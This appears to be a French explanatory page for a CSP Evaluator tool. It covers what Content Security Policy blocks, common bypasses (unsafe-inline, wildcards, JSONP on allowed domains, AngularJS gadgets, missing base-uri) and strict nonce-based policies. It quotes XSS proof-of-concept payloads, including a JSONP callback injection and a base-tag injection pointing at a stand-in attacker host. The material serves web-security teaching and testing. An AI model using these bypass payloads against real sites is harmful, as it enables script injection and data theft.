CSP Evaluator

Qu’est-ce qu’une CSP ?

Une CSP, ou Content Security Policy, est une politique qui indique au navigateur quelles ressources une page peut charger et quelles formes d’exécution de scripts elle autorise. Transmise notamment par un en-tête HTTP, elle aide à limiter l’exploitation de failles XSS sans corriger l’injection elle-même.

Ce qu’une CSP bloque, et ce qu’elle laisse passer

Une Content Security Policy (spécification Content Security Policy Level 3 du W3C) est une liste de règles que le serveur envoie avec la page. Le navigateur refuse ensuite de charger ou d’exécuter ce qu’elles n’autorisent pas. Contre le cross-site scripting, une politique correcte bloque les scripts en ligne injectés, les gestionnaires d’événement comme onerror, les URL javascript:, eval() et les scripts chargés depuis un domaine non autorisé.

Elle ne supprime pas l’injection elle-même. Une injection HTML reste possible : du balisage laissé ouvert (dangling markup) peut exfiltrer le contenu de la page vers une source d’image autorisée, un faux formulaire peut viser un domaine externe si form-action manque, et un script autorisé qui lit le DOM peut exécuter ce que l’attaquant y place (DOM XSS, gadgets de bibliothèque). Les en-têtes ne protègent pas non plus contre la CSRF, et ne couvrent le clickjacking qu’avec frame-ancestors. Une CSP est une défense en profondeur : la vulnérabilité à corriger reste l’injection.

Les contournements classiques

En 2016, Lukas Weichselbaum, Michele Spagnuolo, Sebastian Lekies et Artur Janc (Google) ont analysé les politiques déployées sur le web dans « CSP Is Dead, Long Live CSP! » (ACM CCS 2016). Ils ont trouvé des contournements dans 94,72 % des politiques distinctes, et 14 des 15 domaines les plus souvent autorisés pour les scripts hébergeaient des endpoints exploitables. CSP Evaluator est issu de ce travail.

'unsafe-inline', joker et schémas seuls

'unsafe-inline' dans script-src annule l’essentiel de la protection : <img src=x onerror=alert(1)> s’exécute. Un joker *, ou un schéma seul comme https:, autorise un fichier hébergé sur le serveur de l’attaquant. data: autorise un script encodé dans l’URL : <script src="data:text/javascript,alert(1)">.

JSONP sur un domaine autorisé

Un endpoint JSONP renvoie du JavaScript dont le nom de fonction vient d’un paramètre, souvent callback. Si le domaine est autorisé, <script src="https://domaine-autorisé/endpoint?callback=alert(1)//"> exécute un code choisi par l’attaquant, avec la bénédiction de la politique. Les grands domaines (Google, Yandex, Alibaba…) en hébergent beaucoup ; la bibliothèque en tient une liste et l’outil affiche l’endpoint qu’elle a reconnu.

AngularJS et gadgets de bibliothèque

Un CDN autorisé qui sert AngularJS permet de charger la bibliothèque, puis d’injecter un template ng-app : AngularJS évalue les expressions entre accolades avec son propre interpréteur, sans script en ligne. L’expression exacte dépend de la version (le bac à sable d’expressions a disparu en 1.6) ; l’XSS cheat sheet de PortSwigger recense les variantes. Le même principe s’applique aux script gadgets d’autres bibliothèques (Lekies et al., « Code-Reuse Attacks for the Web », ACM CCS 2017) : du code légitime transforme du HTML inoffensif en exécution.

base-uri, object-src et 'self'

Sans base-uri, une balise <base href="https://attaquant.example/"> injectée avant un script relatif redirige son chargement, y compris celui d’un script muni d’un nonce valide. Sans object-src 'none' ni default-src, <object> et <embed> chargent des contenus actifs ; Flash a disparu des navigateurs en 2021, mais la directive reste la règle. Enfin, 'self' se contourne dès que l’origine sert un fichier contrôlé par l’attaquant : un upload servi avec un type JavaScript, un endpoint JSONP interne ou une copie d’AngularJS.

Strict CSP : nonce ou hash, et 'strict-dynamic'

La conclusion de l’article de 2016 est de ne plus fonder la confiance sur des domaines. Une strict CSP autorise les scripts par un nonce, valeur aléatoire régénérée à chaque réponse et reprise dans l’attribut nonce des balises légitimes, ou par le hash de leur contenu pour une page statique. 'strict-dynamic' étend la confiance aux scripts que ces scripts créent eux-mêmes, ce qui garde les chargeurs de bibliothèques fonctionnels, et fait ignorer par CSP3 les hôtes, les schémas et 'self'. On garde https: et 'unsafe-inline' comme replis pour les navigateurs plus anciens, qui les ignorent dès qu’ils comprennent le nonce.

La forme recommandée par web.dev est celle proposée en section 03 : script-src 'nonce-…' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none'. Ses limites sont connues : un nonce statique ou mis en cache ne protège rien, une injection placée avant un script muni d’un nonce peut tenter de le détourner, et les DOM XSS passent par des scripts de confiance. require-trusted-types-for 'script' traite ce dernier cas en imposant une politique Trusted Types aux puits comme innerHTML.

Report-Only, balise meta et politiques multiples

L’en-tête Content-Security-Policy-Report-Only ne bloque rien : il envoie seulement les violations vers report-uri ou report-to. C’est la bonne étape de déploiement, et une fausse protection si la politique y reste. L’outil le signale et calcule son verdict « si elle était appliquée ».

Une balise <meta http-equiv="Content-Security-Policy"> ne s’applique qu’au contenu qui la suit, et ne peut pas porter frame-ancestors, report-uri ni sandbox, que les navigateurs ignorent ; le mode Report-Only n’existe pas en meta. Quand plusieurs politiques sont appliquées (plusieurs en-têtes, une valeur séparée par des virgules, un en-tête et une meta), le navigateur les applique toutes : en ajouter une ne peut que restreindre davantage.

Tester une CSP en mission

Récupérez les en-têtes réels page par page (curl -si https://cible/ | sed '/^\r$/q') : la politique change souvent entre l’application, les pages d’erreur, l’API et les anciennes routes, et une meta peut s’y ajouter. Collez la réponse brute ici, l’outil ne garde que les CSP. Vérifiez ensuite le mode (Report-Only ou bloquant) et la stabilité du nonce en rechargeant la page.

Pour chaque hôte autorisé, cherchez un endpoint JSONP (paramètres callback, jsonp, cb), une copie d’AngularJS ou un service d’upload, sur le domaine lui-même comme sur 'self'. Confirmez dans un vrai navigateur, console ouverte, que le payload s’exécute sans violation. Dans le rapport, décrivez la chaîne complète : l’injection, puis le contournement de la politique qui la rend exploitable.